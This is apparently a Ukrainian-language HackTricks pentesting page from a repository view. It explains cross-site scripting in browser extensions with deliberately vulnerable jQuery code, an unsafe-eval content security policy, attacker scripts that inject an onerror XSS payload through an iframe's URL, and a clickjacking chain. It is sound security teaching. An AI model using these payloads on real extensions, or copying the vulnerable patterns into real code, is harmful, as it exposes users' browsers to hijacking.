105 lines
6.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# BrowExt - XSS Приклад
{{#include ../../banners/hacktricks-training.md}}
## Міжсайтовий скриптинг (XSS) через Iframe
У цій конфігурації реалізовано **скрипт контенту**, щоб створити Iframe, включаючи URL з параметрами запиту як джерело Iframe:
```javascript
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})
```
Публічно доступна HTML-сторінка, **`message.html`**, призначена для динамічного додавання вмісту до тіла документа на основі параметрів у URL:
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})
```
Зловмисний скрипт виконується на сторінці супротивника, змінюючи параметр `content` джерела Iframe, щоб ввести **XSS payload**. Це досягається шляхом оновлення джерела Iframe, щоб включити шкідливий скрипт:
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
document.querySelector("iframe").src = maliciousURL
}, 1000)
```
Занадто поблажлива політика безпеки контенту, така як:
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
дозволяє виконання JavaScript, що робить систему вразливою до атак XSS.
Альтернативний підхід для провокації XSS полягає в створенні елемента Iframe і встановленні його джерела, щоб включити шкідливий скрипт як параметр `content`:
```javascript
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
document.body.append(newFrame)
```
## DOM-based XSS + ClickJacking
Цей приклад був взятий з [оригінального поста](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
Основна проблема виникає з вразливості Cross-site Scripting (XSS), що базується на DOM, розташованої в **`/html/bookmarks.html`**. Проблемний JavaScript, частина **`bookmarks.js`**, детально описаний нижче:
```javascript
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false
var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})
```
Цей фрагмент отримує **значення** з поля введення **`txtName`** і використовує **конкатенацію рядків для генерації HTML**, який потім додається до DOM за допомогою функції `.append()` jQuery.
Зазвичай, Політика Безпеки Контенту (CSP) розширення Chrome запобігала б таким вразливостям. Однак, через **послаблення CSP з unsafe-eval** та використання методів маніпуляції DOM jQuery (які використовують [`globalEval()`](https://api.jquery.com/jquery.globaleval/) для передачі скриптів до [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) під час вставки в DOM), експлуатація все ще можлива.
Хоча ця вразливість є значною, її експлуатація зазвичай залежить від взаємодії користувача: відвідування сторінки, введення XSS-пейлоаду та активація кнопки “Додати”.
Щоб посилити цю вразливість, експлуатується вторинна вразливість **clickjacking**. Маніфест розширення Chrome демонструє розширену політику `web_accessible_resources`:
```json
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
```
Зокрема, сторінка **`/html/bookmarks.html`** підлягає фреймінгу, отже, вразлива до **clickjacking**. Ця вразливість використовується для фреймінгу сторінки в межах сайту зловмисника, накладаючи на неї елементи DOM для обманного redesign інтерфейсу. Це маніпулювання змушує жертв взаємодіяти з основним розширенням ненавмисно.
## References
- [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
- [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
{{#include ../../banners/hacktricks-training.md}}